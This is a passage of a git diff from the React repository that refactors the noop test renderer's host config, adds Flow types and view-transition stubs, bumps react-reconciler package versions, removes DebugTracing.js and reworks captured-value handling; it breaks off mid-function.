+    insertBefore,
+    insertInContainerBefore,
+    removeChild,
+    removeChildFromContainer,
+    clearContainer,
 
-        unhideInstance(instance: Instance, props: Props): void {
-          if (!props.hidden) {
-            instance.hidden = false;
-          }
-        },
+    hideInstance(instance: Instance): void {
+      instance.hidden = true;
+    },
 
-        unhideTextInstance(textInstance: TextInstance, text: string): void {
-          textInstance.hidden = false;
-        },
+    hideTextInstance(textInstance: TextInstance): void {
+      textInstance.hidden = true;
+    },
 
-        resetTextContent(instance: Instance): void {
-          instance.text = null;
-        },
+    unhideInstance(instance: Instance, props: Props): void {
+      if (!props.hidden) {
+        instance.hidden = false;
       }
-    : {
-        ...sharedHostConfig,
-        supportsMutation: false,
-        supportsPersistence: true,
+    },
 
-        cloneInstance,
-        clearContainer,
+    unhideTextInstance(textInstance: TextInstance, text: string): void {
+      textInstance.hidden = false;
+    },
 
-        createContainerChildSet(): Array<Instance | TextInstance> {
-          return [];
-        },
+    applyViewTransitionName(
+      instance: Instance,
+      name: string,
+      className: ?string,
+    ): void {},
 
-        appendChildToContainerChildSet(
-          childSet: Array<Instance | TextInstance>,
-          child: Instance | TextInstance,
-        ): void {
-          childSet.push(child);
-        },
+    restoreViewTransitionName(instance: Instance, props: Props): void {},
 
-        finalizeContainerChildren(
-          container: Container,
-          newChildren: Array<Instance | TextInstance>,
-        ): void {
-          container.pendingChildren = newChildren;
-          if (
-            newChildren.length === 1 &&
-            newChildren[0].text === 'Error when completing root'
-          ) {
-            // Trigger an error for testing purposes
-            throw Error('Error when completing root');
-          }
-        },
+    cancelViewTransitionName(
+      instance: Instance,
+      name: string,
+      props: Props,
+    ): void {},
 
-        replaceContainerChildren(
-          container: Container,
-          newChildren: Array<Instance | TextInstance>,
-        ): void {
-          container.children = newChildren;
-        },
+    cancelRootViewTransitionName(rootContainer: Container): void {},
 
-        cloneHiddenInstance(
-          instance: Instance,
-          type: string,
-          props: Props,
-        ): Instance {
-          const clone = cloneInstance(instance, type, props, props, true, null);
-          clone.hidden = true;
-          return clone;
-        },
+    restoreRootViewTransitionName(rootContainer: Container): void {},
 
-        cloneHiddenTextInstance(
-          instance: TextInstance,
-          text: string,
-        ): TextInstance {
-          const clone = {
-            text: instance.text,
-            id: instance.id,
-            parent: instance.parent,
-            hidden: true,
-            context: instance.context,
-          };
-          // Hide from unit tests
-          Object.defineProperty(clone, 'id', {
-            value: clone.id,
-            enumerable: false,
-          });
-          Object.defineProperty(clone, 'parent', {
-            value: clone.parent,
-            enumerable: false,
-          });
-          Object.defineProperty(clone, 'context', {
-            value: clone.context,
-            enumerable: false,
-          });
-          return clone;
-        },
+    cloneRootViewTransitionContainer(rootContainer: Container): Instance {
+      throw new Error('Not yet implemented.');
+    },
+
+    removeRootViewTransitionClone(
+      rootContainer: Container,
+      clone: Instance,
+    ): void {
+      throw new Error('Not implemented.');
+    },
+
+    measureInstance(instance: Instance): InstanceMeasurement {
+      return null;
+    },
+
+    measureClonedInstance(instance: Instance): InstanceMeasurement {
+      return null;
+    },
+
+    wasInstanceInViewport(measurement: InstanceMeasurement): boolean {
+      return true;
+    },
+
+    hasInstanceChanged(
+      oldMeasurement: InstanceMeasurement,
+      newMeasurement: InstanceMeasurement,
+    ): boolean {
+      return false;
+    },
+
+    hasInstanceAffectedParent(
+      oldMeasurement: InstanceMeasurement,
+      newMeasurement: InstanceMeasurement,
+    ): boolean {
+      return false;
+    },
+
+    startViewTransition(
+      rootContainer: Container,
+      transitionTypes: null | TransitionTypes,
+      mutationCallback: () => void,
+      layoutCallback: () => void,
+      afterMutationCallback: () => void,
+      spawnedWorkCallback: () => void,
+      passiveCallback: () => mixed,
+      errorCallback: mixed => void,
+      blockedCallback: string => void, // Profiling-only
+      finishedAnimation: () => void, // Profiling-only
+    ): null | RunningViewTransition {
+      mutationCallback();
+      layoutCallback();
+      // Skip afterMutationCallback(). We don't need it since we're not animating.
+      spawnedWorkCallback();
+      // Skip passiveCallback(). Spawned work will schedule a task.
+      return null;
+    },
+
+    startGestureTransition(
+      rootContainer: Container,
+      timeline: GestureTimeline,
+      rangeStart: number,
+      rangeEnd: number,
+      transitionTypes: null | TransitionTypes,
+      mutationCallback: () => void,
+      animateCallback: () => void,
+      errorCallback: mixed => void,
+    ): null | RunningViewTransition {
+      mutationCallback();
+      animateCallback();
+      return null;
+    },
+
+    stopViewTransition(transition: RunningViewTransition) {},
+
+    addViewTransitionFinishedListener(
+      transition: RunningViewTransition,
+      callback: () => void,
+    ) {
+      callback();
+    },
+
+    createViewTransitionInstance(name: string): ViewTransitionInstance {
+      return null;
+    },
+
+    getCurrentGestureOffset(provider: GestureTimeline): number {
+      return 0;
+    },
+
+    resetTextContent(instance: Instance): void {
+      instance.text = null;
+    },
+  };
+
+  const persistenceHostConfig: Pick<
+    HostConfig,
+    $Keys<ReactFiberConfigWithNoPersistence>,
+  > = {
+    supportsPersistence: true,
+
+    cloneInstance,
+
+    createContainerChildSet(): Array<Instance | TextInstance> {
+      return [];
+    },
+
+    appendChildToContainerChildSet(
+      childSet: Array<Instance | TextInstance>,
+      child: Instance | TextInstance,
+    ): void {
+      childSet.push(child);
+    },
+
+    finalizeContainerChildren(
+      container: Container,
+      newChildren: Array<Instance | TextInstance>,
+    ): void {
+      container.pendingChildren = newChildren;
+      if (
+        newChildren.length === 1 &&
+        newChildren[0].text === 'Error when completing root'
+      ) {
+        // Trigger an error for testing purposes
+        throw Error('Error when completing root');
+      }
+    },
+
+    replaceContainerChildren(
+      container: Container,
+      newChildren: Array<Instance | TextInstance>,
+    ): void {
+      container.children = newChildren;
+    },
+
+    cloneHiddenInstance(
+      instance: Instance,
+      type: string,
+      props: Props,
+    ): Instance {
+      const clone = cloneInstance(instance, type, props, props, true, null);
+      clone.hidden = true;
+      return clone;
+    },
+
+    cloneHiddenTextInstance(
+      instance: TextInstance,
+      text: string,
+    ): TextInstance {
+      const clone = {
+        text: instance.text,
+        id: instance.id,
+        parent: instance.parent,
+        hidden: true,
+        context: instance.context,
       };
+      // Hide from unit tests
+      Object.defineProperty(clone, 'id', {
+        value: clone.id,
+        enumerable: false,
+      });
+      Object.defineProperty(clone, 'parent', {
+        value: clone.parent,
+        enumerable: false,
+      });
+      Object.defineProperty(clone, 'context', {
+        value: clone.context,
+        enumerable: false,
+      });
+      return clone;
+    },
+  };
+
+  const hostConfig: HostConfig = useMutation
+    ? {...sharedHostConfig, ...mutationHostConfig}
+    : {...sharedHostConfig, ...persistenceHostConfig};
 
   const NoopRenderer = reconciler(hostConfig);
 
-  const rootContainers = new Map();
-  const roots = new Map();
+  const rootContainers = new Map<string, Container>();
+  const roots = new Map<string, Object>();
   const DEFAULT_ROOT_ID = '<default>';
 
   let currentUpdatePriority = NoEventPriority;
@@ -810,8 +1004,8 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
 
   let currentEventPriority = DefaultEventPriority;
 
-  function createJSXElementForTestComparison(type, props) {
-    if (__DEV__ && enableRefAsProp) {
+  function createJSXElementForTestComparison(type: mixed, props: mixed) {
+    if (__DEV__) {
       const element = {
         type: type,
         $$typeof: REACT_ELEMENT_TYPE,
@@ -820,19 +1014,12 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
         _owner: null,
         _store: __DEV__ ? {} : undefined,
       };
+      // $FlowFixMe[prop-missing]
       Object.defineProperty(element, 'ref', {
         enumerable: false,
         value: null,
       });
       return element;
-    } else if (!__DEV__ && disableStringRefs) {
-      return {
-        $$typeof: REACT_ELEMENT_TYPE,
-        type: type,
-        key: null,
-        ref: null,
-        props: props,
-      };
     } else {
       return {
         $$typeof: REACT_ELEMENT_TYPE,
@@ -840,13 +1027,14 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
         key: null,
         ref: null,
         props: props,
-        _owner: null,
-        _store: __DEV__ ? {} : undefined,
       };
     }
   }
 
-  function childToJSX(child, text) {
+  function childToJSX(
+    child: null | Instance | TextInstance | Array<Instance | TextInstance>,
+    text: ?string,
+  ): mixed {
     if (text !== null) {
       return text;
     }
@@ -884,6 +1072,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
       if (instance.hidden) {
         props.hidden = true;
       }
+      // $FlowFixMe[prop-missing]
       if (instance.src) {
         props.src = instance.src;
       }
@@ -900,7 +1089,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     return textInstance.text;
   }
 
-  function getChildren(root) {
+  function getChildren(root: ?(Container | Instance)) {
     if (root) {
       return root.children;
     } else {
@@ -908,7 +1097,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     }
   }
 
-  function getPendingChildren(root) {
+  function getPendingChildren(root: ?(Container | Instance)) {
     if (root) {
       return root.children;
     } else {
@@ -916,7 +1105,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     }
   }
 
-  function getChildrenAsJSX(root) {
+  function getChildrenAsJSX(root: ?(Container | Instance)) {
     const children = childToJSX(getChildren(root), null);
     if (children === null) {
       return null;
@@ -927,7 +1116,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     return children;
   }
 
-  function getPendingChildrenAsJSX(root) {
+  function getPendingChildrenAsJSX(root: ?(Container | Instance)) {
     const children = childToJSX(getChildren(root), null);
     if (children === null) {
       return null;
@@ -938,7 +1127,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     return children;
   }
 
-  function flushSync<R>(fn: () => R): R {
+  function flushSync<R>(fn: () => R): ?R {
     if (__DEV__) {
       if (NoopRenderer.isAlreadyRendering()) {
         console.error(
@@ -969,14 +1158,15 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     }
   }
 
-  function onRecoverableError(error) {
-    // TODO: Turn this on once tests are fixed
-    // eslint-disable-next-line react-internal/no-production-logging, react-internal/warning-args
-    // console.error(error);
+  function onRecoverableError(error: mixed): void {
+    // eslint-disable-next-line react-internal/warning-args, react-internal/no-production-logging -- renderer is only used for testing.
+    console.error(error);
   }
+  function onDefaultTransitionIndicator(): void | (() => void) {}
 
   let idCounter = 0;
 
+  // $FlowFixMe
   const ReactNoop = {
     _Scheduler: Scheduler,
 
@@ -1014,21 +1204,32 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
       return getPendingChildren(container);
     },
 
-    getOrCreateRootContainer(rootID: string = DEFAULT_ROOT_ID, tag: RootTag) {
+    getOrCreateRootContainer(
+      rootID: string = DEFAULT_ROOT_ID,
+      tag: RootTag,
+    ): Container {
       let root = roots.get(rootID);
       if (!root) {
-        const container = {rootID: rootID, pendingChildren: [], children: []};
+        const container: Container = {
+          rootID: rootID,
+          pendingChildren: [],
+          children: [],
+        };
+        // $FlowFixMe[incompatible-call]
         rootContainers.set(rootID, container);
         root = NoopRenderer.createContainer(
+          // $FlowFixMe[incompatible-call] -- Discovered when typechecking noop-renderer
           container,
           tag,
           null,
+          // $FlowFixMe[incompatible-call] -- Discovered when typechecking noop-renderer
           null,
           false,
           '',
           NoopRenderer.defaultOnUncaughtError,
           NoopRenderer.defaultOnCaughtError,
           onRecoverableError,
+          onDefaultTransitionIndicator,
           null,
         );
         roots.set(rootID, root);
@@ -1038,21 +1239,30 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
 
     // TODO: Replace ReactNoop.render with createRoot + root.render
     createRoot(options?: CreateRootOptions) {
-      const container = {
+      const container: Container = {
         rootID: '' + idCounter++,
         pendingChildren: [],
         children: [],
       };
       const fiberRoot = NoopRenderer.createContainer(
+        // $FlowFixMe[incompatible-call]
         container,
         ConcurrentRoot,
         null,
+        // $FlowFixMe[incompatible-call]
         null,
         false,
         '',
-        NoopRenderer.defaultOnUncaughtError,
-        NoopRenderer.defaultOnCaughtError,
+        options && options.onUncaughtError
+          ? options.onUncaughtError
+          : NoopRenderer.defaultOnUncaughtError,
+        options && options.onCaughtError
+          ? options.onCaughtError
+          : NoopRenderer.defaultOnCaughtError,
         onRecoverableError,
+        options && options.onDefaultTransitionIndicator
+          ? options.onDefaultTransitionIndicator
+          : onDefaultTransitionIndicator,
         options && options.unstable_transitionCallbacks
           ? options.unstable_transitionCallbacks
           : null,
@@ -1076,21 +1286,23 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
         throw new Error('createLegacyRoot: Unsupported Legacy Mode API.');
       }
 
-      const container = {
+      const container: Container = {
         rootID: '' + idCounter++,
         pendingChildren: [],
         children: [],
       };
       const fiberRoot = NoopRenderer.createContainer(
+        // $FlowFixMe[incompatible-call] -- TODO: Discovered when typechecking noop-renderer
         container,
         LegacyRoot,
         null,
-        null,
         false,
+        null,
         '',
         NoopRenderer.defaultOnUncaughtError,
         NoopRenderer.defaultOnCaughtError,
         onRecoverableError,
+        onDefaultTransitionIndicator,
         null,
       );
       return {
@@ -1118,11 +1330,12 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
       return getPendingChildrenAsJSX(container);
     },
 
-    getSuspenseyThingStatus(src): string | null {
+    getSuspenseyThingStatus(src: string): string | null {
       if (suspenseyThingCache === null) {
         return null;
       } else {
         const record = suspenseyThingCache.get(src);
+        // $FlowFixMe[prop-missing]
         return record === undefined ? null : record.status;
       }
     },
@@ -1137,6 +1350,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
           status: 'fulfilled',
           subscriptions: null,
         };
+        // $FlowFixMe[incompatible-use] still non-nullable
         suspenseyThingCache.set(key, newRecord);
       } else {
         if (record.status === 'pending') {
@@ -1150,6 +1364,11 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
               if (subscription.pendingCount === 0) {
                 const commit = subscription.commit;
                 subscription.commit = null;
+                if (commit === null) {
+                  throw new Error(
+                    'Expected commit to be a function. This is a bug in React.',
+                  );
+                }
                 commit();
               }
             }
@@ -1171,7 +1390,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     },
 
     // Shortcut for testing a single root
-    render(element: React$Element<any>, callback: ?Function) {
+    render(element: React$Element<any>, callback: ?Function): void {
       ReactNoop.renderToRootWithID(element, DEFAULT_ROOT_ID, callback);
     },
 
@@ -1209,7 +1428,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     },
 
     findInstance(
-      componentOrElement: Element | ?React$Component<any, any>,
+      componentOrElement: Element | ?component(...props: any),
     ): null | Instance | TextInstance {
       if (componentOrElement == null) {
         return null;
@@ -1283,7 +1502,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
 
     discreteUpdates: NoopRenderer.discreteUpdates,
 
-    idleUpdates<T>(fn: () => T): T {
+    idleUpdates<T>(fn: () => T): void {
       const prevEventPriority = currentEventPriority;
       currentEventPriority = IdleEventPriority;
       try {
@@ -1306,14 +1525,14 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
         return;
       }
 
-      const bufferedLog = [];
-      function log(...args) {
+      const bufferedLog: string[] = [];
+      function log(...args: string[]) {
         bufferedLog.push(...args, '\n');
       }
 
       function logHostInstances(
         children: Array<Instance | TextInstance>,
-        depth,
+        depth: number,
       ) {
         for (let i = 0; i < children.length; i++) {
           const child = children[i];
@@ -1321,17 +1540,23 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
           if (typeof child.text === 'string') {
             log(indent + '- ' + child.text);
           } else {
+            // $FlowFixMe[unsafe-addition]
             log(indent + '- ' + child.type + '#' + child.id);
-            logHostInstances(child.children, depth + 1);
+
+            logHostInstances(
+              // $FlowFixMe[incompatible-call]
+              child.children,
+              depth + 1,
+            );
           }
         }
       }
-      function logContainer(container: Container, depth) {
+      function logContainer(container: Container, depth: number) {
         log('  '.repeat(depth) + '- [root#' + container.rootID + ']');
         logHostInstances(container.children, depth + 1);
       }
 
-      function logUpdateQueue(updateQueue: UpdateQueue<mixed>, depth) {
+      function logUpdateQueue(updateQueue: UpdateQueue<mixed>, depth: number) {
         log('  '.repeat(depth + 1) + 'QUEUED UPDATES');
         const first = updateQueue.firstBaseUpdate;
         const update = first;
@@ -1339,6 +1564,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
           do {
             log(
               '  '.repeat(depth + 1) + '~',
+              // $FlowFixMe
               '[' + update.expirationTime + ']',
             );
           } while (update !== null);
@@ -1352,6 +1578,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
             do {
               log(
                 '  '.repeat(depth + 1) + '~',
+                // $FlowFixMe
                 '[' + pendingUpdate.expirationTime + ']',
               );
             } while (pendingUpdate !== null && pendingUpdate !== firstPending);
@@ -1359,19 +1586,25 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
         }
       }
 
-      function logFiber(fiber: Fiber, depth) {
+      function logFiber(fiber: Fiber, depth: number) {
         log(
           '  '.repeat(depth) +
             '- ' +
             // need to explicitly coerce Symbol to a string
             (fiber.type ? fiber.type.name || fiber.type.toString() : '[root]'),
+          // $FlowFixMe[unsafe-addition]
           '[' +
+            // $FlowFixMe[prop-missing]
             fiber.childExpirationTime +
             (fiber.pendingProps ? '*' : '') +
             ']',
         );
         if (fiber.updateQueue) {
-          logUpdateQueue(fiber.updateQueue, depth);
+          logUpdateQueue(
+            // $FlowFixMe[incompatible-call]
+            fiber.updateQueue,
+            depth,
+          );
         }
         // const childInProgress = fiber.progressedChild;
         // if (childInProgress && childInProgress !== fiber.child) {
diff --git a/packages/react-reconciler/README.md b/packages/react-reconciler/README.md
index b30387c591f1..82080513a459 100644
--- a/packages/react-reconciler/README.md
+++ b/packages/react-reconciler/README.md
@@ -59,7 +59,7 @@ The examples in the React repository are declared a bit differently than a third
 
 * [React ART](https://github.com/facebook/react/blob/main/packages/react-art/src/ReactART.js) and its [host config](https://github.com/facebook/react/blob/main/packages/react-art/src/ReactFiberConfigART.js)
 * [React DOM](https://github.com/facebook/react/blob/main/packages/react-dom/src/client/ReactDOM.js) and its [host config](https://github.com/facebook/react/blob/main/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js)
-* [React Native](https://github.com/facebook/react/blob/main/packages/react-native-renderer/src/ReactNativeRenderer.js) and its [host config](https://github.com/facebook/react/blob/main/packages/react-native-renderer/src/ReactFiberConfigNative.js)
+* [React Native](https://github.com/facebook/react/blob/main/packages/react-native-renderer/src/ReactFabric.js) and its [host config](https://github.com/facebook/react/blob/main/packages/react-native-renderer/src/ReactFiberConfigFabric.js)
 
 If these links break please file an issue and we’ll fix them. They intentionally link to the latest versions since the API is still evolving. If you have more questions please file an issue and we’ll try to help!
 
diff --git a/packages/react-reconciler/index.js b/packages/react-reconciler/index.js
index afffd715cffe..0a119d7e3db8 100644
--- a/packages/react-reconciler/index.js
+++ b/packages/react-reconciler/index.js
@@ -7,4 +7,11 @@
  * @flow
  */
 
+import typeof * as ReconcilerAPI from './src/ReactFiberReconciler';
+import typeof * as HostConfig from './src/ReactFiberConfig';
+
 export * from './src/ReactFiberReconciler';
+
+// At build time, this module is wrapped as a factory function ($$$reconciler).
+// Consumers pass a host config object and get back the reconciler API.
+declare export default (hostConfig: HostConfig) => ReconcilerAPI;
diff --git a/packages/react-reconciler/package.json b/packages/react-reconciler/package.json
index 27422543681c..91c38415dba7 100644
--- a/packages/react-reconciler/package.json
+++ b/packages/react-reconciler/package.json
@@ -1,7 +1,7 @@
 {
   "name": "react-reconciler",
   "description": "React package for creating custom renderers.",
-  "version": "0.29.0",
+  "version": "0.34.0",
   "keywords": [
     "react"
   ],
@@ -26,9 +26,9 @@
     "node": ">=0.10.0"
   },
   "peerDependencies": {
-    "react": "^19.0.0"
+    "react": "^19.3.0"
   },
   "dependencies": {
-    "scheduler": "^0.23.0"
+    "scheduler": "^0.28.0"
   }
 }
diff --git a/packages/react-reconciler/src/DebugTracing.js b/packages/react-reconciler/src/DebugTracing.js
deleted file mode 100644
index 6a7870baa4eb..000000000000
--- a/packages/react-reconciler/src/DebugTracing.js
+++ /dev/null
@@ -1,231 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {Lane, Lanes} from './ReactFiberLane';
-import type {Wakeable} from 'shared/ReactTypes';
-
-import {enableDebugTracing} from 'shared/ReactFeatureFlags';
-
-const nativeConsole: Object = console;
-let nativeConsoleLog: null | Function = null;
-
-const pendingGroupArgs: Array<any> = [];
-let printedGroupIndex: number = -1;
-
-function formatLanes(laneOrLanes: Lane | Lanes): string {
-  return '0b' + (laneOrLanes: any).toString(2).padStart(31, '0');
-}
-
-function group(...groupArgs: Array<string>): void {
-  pendingGroupArgs.push(groupArgs);
-
-  if (nativeConsoleLog === null) {
-    nativeConsoleLog = nativeConsole.log;
-    nativeConsole.log = log;
-  }
-}
-
-function groupEnd(): void {
-  pendingGroupArgs.pop();
-  while (printedGroupIndex >= pendingGroupArgs.length) {
-    nativeConsole.groupEnd();
-    printedGroupIndex--;
-  }
-
-  if (pendingGroupArgs.length === 0) {
-    nativeConsole.log = nativeConsoleLog;
-    nativeConsoleLog = null;
-  }
-}
-
-function log(...logArgs: Array<mixed>): void {
-  if (printedGroupIndex < pendingGroupArgs.length - 1) {
-    for (let i = printedGroupIndex + 1; i < pendingGroupArgs.length; i++) {
-      const groupArgs = pendingGroupArgs[i];
-      nativeConsole.group(...groupArgs);
-    }
-    printedGroupIndex = pendingGroupArgs.length - 1;
-  }
-  if (typeof nativeConsoleLog === 'function') {
-    nativeConsoleLog(...logArgs);
-  } else {
-    nativeConsole.log(...logArgs);
-  }
-}
-
-const REACT_LOGO_STYLE =
-  'background-color: #20232a; color: #61dafb; padding: 0 2px;';
-
-export function logCommitStarted(lanes: Lanes): void {
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      group(
-        `%c⚛️%c commit%c (${formatLanes(lanes)})`,
-        REACT_LOGO_STYLE,
-        '',
-        'font-weight: normal;',
-      );
-    }
-  }
-}
-
-export function logCommitStopped(): void {
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      groupEnd();
-    }
-  }
-}
-
-const PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;
-// $FlowFixMe[incompatible-type]: Flow cannot handle polymorphic WeakMaps
-const wakeableIDs: WeakMap<Wakeable, number> = new PossiblyWeakMap();
-let wakeableID: number = 0;
-function getWakeableID(wakeable: Wakeable): number {
-  if (!wakeableIDs.has(wakeable)) {
-    wakeableIDs.set(wakeable, wakeableID++);
-  }
-  return ((wakeableIDs.get(wakeable): any): number);
-}
-
-export function logComponentSuspended(
-  componentName: string,
-  wakeable: Wakeable,
-): void {
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      const id = getWakeableID(wakeable);
-      const display = (wakeable: any).displayName || wakeable;
-      log(
-        `%c⚛️%c ${componentName} suspended`,
-        REACT_LOGO_STYLE,
-        'color: #80366d; font-weight: bold;',
-        id,
-        display,
-      );
-      wakeable.then(
-        () => {
-          log(
-            `%c⚛️%c ${componentName} resolved`,
-            REACT_LOGO_STYLE,
-            'color: #80366d; font-weight: bold;',
-            id,
-            display,
-          );
-        },
-        () => {
-          log(
-            `%c⚛️%c ${componentName} rejected`,
-            REACT_LOGO_STYLE,
-            'color: #80366d; font-weight: bold;',
-            id,
-            display,
-          );
-        },
-      );
-    }
-  }
-}
-
-export function logLayoutEffectsStarted(lanes: Lanes): void {
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      group(
-        `%c⚛️%c layout effects%c (${formatLanes(lanes)})`,
-        REACT_LOGO_STYLE,
-        '',
-        'font-weight: normal;',
-      );
-    }
-  }
-}
-
-export function logLayoutEffectsStopped(): void {
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      groupEnd();
-    }
-  }
-}
-
-export function logPassiveEffectsStarted(lanes: Lanes): void {
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      group(
-        `%c⚛️%c passive effects%c (${formatLanes(lanes)})`,
-        REACT_LOGO_STYLE,
-        '',
-        'font-weight: normal;',
-      );
-    }
-  }
-}
-
-export function logPassiveEffectsStopped(): void {
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      groupEnd();
-    }
-  }
-}
-
-export function logRenderStarted(lanes: Lanes): void {
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      group(
-        `%c⚛️%c render%c (${formatLanes(lanes)})`,
-        REACT_LOGO_STYLE,
-        '',
-        'font-weight: normal;',
-      );
-    }
-  }
-}
-
-export function logRenderStopped(): void {
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      groupEnd();
-    }
-  }
-}
-
-export function logForceUpdateScheduled(
-  componentName: string,
-  lane: Lane,
-): void {
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      log(
-        `%c⚛️%c ${componentName} forced update %c(${formatLanes(lane)})`,
-        REACT_LOGO_STYLE,
-        'color: #db2e1f; font-weight: bold;',
-        '',
-      );
-    }
-  }
-}
-
-export function logStateUpdateScheduled(
-  componentName: string,
-  lane: Lane,
-  payloadOrAction: any,
-): void {
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      log(
-        `%c⚛️%c ${componentName} updated state %c(${formatLanes(lane)})`,
-        REACT_LOGO_STYLE,
-        'color: #01a252; font-weight: bold;',
-        '',
-        payloadOrAction,
-      );
-    }
-  }
-}
diff --git a/packages/react-reconciler/src/ReactCapturedValue.js b/packages/react-reconciler/src/ReactCapturedValue.js
index 6ac8e235ccc0..d53489cc3b72 100644
--- a/packages/react-reconciler/src/ReactCapturedValue.js
+++ b/packages/react-reconciler/src/ReactCapturedValue.js
@@ -11,7 +11,7 @@ import type {Fiber} from './ReactInternalTypes';
 
 import {getStackByFiberInDevAndProd} from './ReactFiberComponentStack';
 
-const CapturedStacks: WeakMap<any, string> = new WeakMap();
+const CapturedStacks: WeakMap<any, CapturedValue<any>> = new WeakMap();
 
 export type CapturedValue<+T> = {
   +value: T,
@@ -25,36 +25,38 @@ export function createCapturedValueAtFiber<T>(
 ): CapturedValue<T> {
   // If the value is an error, call this function immediately after it is thrown
   // so the stack is accurate.
-  let stack;
   if (typeof value === 'object' && value !== null) {
-    const capturedStack = CapturedStacks.get(value);
-    if (typeof capturedStack === 'string') {
-      stack = capturedStack;
-    } else {
-      stack = getStackByFiberInDevAndProd(source);
-      CapturedStacks.set(value, stack);
+    const existing = CapturedStacks.get(value);
+    if (existing !== undefined) {
+      return existing;
     }
+    const captured: CapturedValue<T> = {
+      value,
+      source,
+      stack: getStackByFiberInDevAndProd(source),
+    };
+    CapturedStacks.set(value, captured);
+    return captured;
   } else {
-    stack = getStackByFiberInDevAndProd(source);
+    return {
+      value,
+      source,
+      stack: getStackByFiberInDevAndProd(source),
+    };
   }
-
-  return {
-    value,
-    source,
-    stack,
-  };
 }
 
 export function createCapturedValueFromError(
   value: Error,
   stack: null | string,
 ): CapturedValue<Error> {
-  if (typeof stack === 'string') {
-    CapturedStacks.set(value, stack);
-  }
-  return {
+  const captured = {
     value,
     source: null,
     stack: stack,
   };
+  if (typeof stack === 'string') {
+    CapturedStacks.set(value, captured);
+  }
+  return captured;
 }
diff --git a/packages/react-reconciler/src/ReactChildFiber.js b/packages/react-reconciler/src/ReactChildFiber.js
index db8f0e623364..42f1b70918d3 100644
--- a/packages/react-reconciler/src/ReactChildFiber.js
+++ b/packages/react-reconciler/src/ReactChildFiber.js
@@ -13,6 +13,10 @@ import type {
   Thenable,
   ReactContext,
   ReactDebugInfo,
+  ReactComponentInfo,
+  SuspenseListRevealOrder,
+  ReactKey,
+  ReactOptimisticKey,
 } from 'shared/ReactTypes';
 import type {Fiber} from './ReactInternalTypes';
 import type {Lanes} from './ReactFiberLane';
@@ -35,6 +39,7 @@ import {
   REACT_LAZY_TYPE,
   REACT_CONTEXT_TYPE,
   REACT_LEGACY_ELEMENT_TYPE,
+  REACT_OPTIMISTIC_KEY,
 } from 'shared/ReactSymbols';
 import {
   HostRoot,
@@ -45,10 +50,10 @@ import {
 } from './ReactWorkTags';
 import isArray from 'shared/isArray';
 import {
-  enableRefAsProp,
   enableAsyncIterableChildren,
   disableLegacyMode,
-  enableOwnerStacks,
+  enableFragmentRefs,
+  enableOptimisticKey,
 } from 'shared/ReactFeatureFlags';
 
 import {
@@ -65,11 +70,12 @@ import {getIsHydrating} from './ReactFiberHydrationContext';
 import {pushTreeFork} from './ReactFiberTreeContext';
 import {
   SuspenseException,
+  SuspenseActionException,
   createThenableState,
   trackUsedThenable,
+  resolveLazy,
 } from './ReactFiberThenable';
 import {readContextDuringReconciliation} from './ReactFiberNewContext';
-import {callLazyInitInDEV} from './ReactFiberCallUserSpace';
 
 import {runWithFiberInDEV} from './ReactCurrentFiber';
 
@@ -100,6 +106,25 @@ function pushDebugInfo(
   return previousDebugInfo;
 }
 
+function getCurrentDebugTask(): null | ConsoleTask {
+  // Get the debug task of the parent Server Component if there is one.
+  if (__DEV__) {
+    const debugInfo = currentDebugInfo;
+    if (debugInfo != null) {
+      for (let i = debugInfo.length - 1; i >= 0; i--) {
+        if (debugInfo[i].name != null) {
+          const componentInfo: ReactComponentInfo = debugInfo[i];
+          const debugTask: ?ConsoleTask = componentInfo.debugTask;
+          if (debugTask != null) {
+            return debugTask;
+          }
+        }
+      }
+    }
+  }
+  return null;
+}
+
 let didWarnAboutMaps;
 let didWarnAboutGenerators;
 let ownerHasKeyUseWarning;
@@ -215,39 +240,42 @@ function validateFragmentProps(
     const keys = Object.keys(element.props);
     for (let i = 0; i < keys.length; i++) {
       const key = keys[i];
-      if (key !== 'children' && key !== 'key') {
+      if (
+        key !== 'children' &&
+        key !== 'key' &&
+        (enableFragmentRefs ? key !== 'ref' : true)
+      ) {
         if (fiber === null) {
-          // For unkeyed root fragments there's no Fiber. We create a fake one just for
-          // error stack handling.
+          // For unkeyed root fragments without refs (enableFragmentRefs),
+          // there's no Fiber. We create a fake one just for error stack handling.
           fiber = createFiberFromElement(element, returnFiber.mode, 0);
+          if (__DEV__) {
